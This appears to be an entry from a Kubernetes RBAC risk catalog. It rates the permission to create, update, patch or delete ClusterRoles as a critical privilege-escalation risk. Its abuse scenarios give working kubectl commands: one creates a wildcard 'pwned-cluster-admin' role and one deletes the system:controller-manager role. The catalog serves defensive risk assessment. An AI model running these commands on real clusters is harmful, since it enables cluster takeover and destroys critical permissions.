Overview

FieldValue
ID1027
NameManage ClusterRoles (create, update, patch, delete)
Risk CategoryElevation of Privilege
Risk LevelCritical
Role TypeClusterRole
API Groupsrbac.authorization.k8s.io
Resourcesclusterroles
Verbscreate, update, patch, delete
TagsClusterAdminAccess PrivilegeEscalation RBACManipulation

Description

Allows creating, modifying, or deleting ClusterRoles. This grants the ability to define or alter cluster-wide permissions, enabling an attacker to grant themselves or others arbitrary privileges, including full cluster admin access, leading to complete cluster compromise.

Abuse Scenarios

  1. Create a new ClusterRole with cluster-admin privileges.
kubectl create -f - <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: pwned-cluster-admin
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
EOF
# Example: kubectl create -f - <<EOF ... EOF
  1. Delete a critical ClusterRole, potentially breaking cluster functionality.
kubectl delete clusterrole <clusterrole-name>
# Example: kubectl delete clusterrole system:controller-manager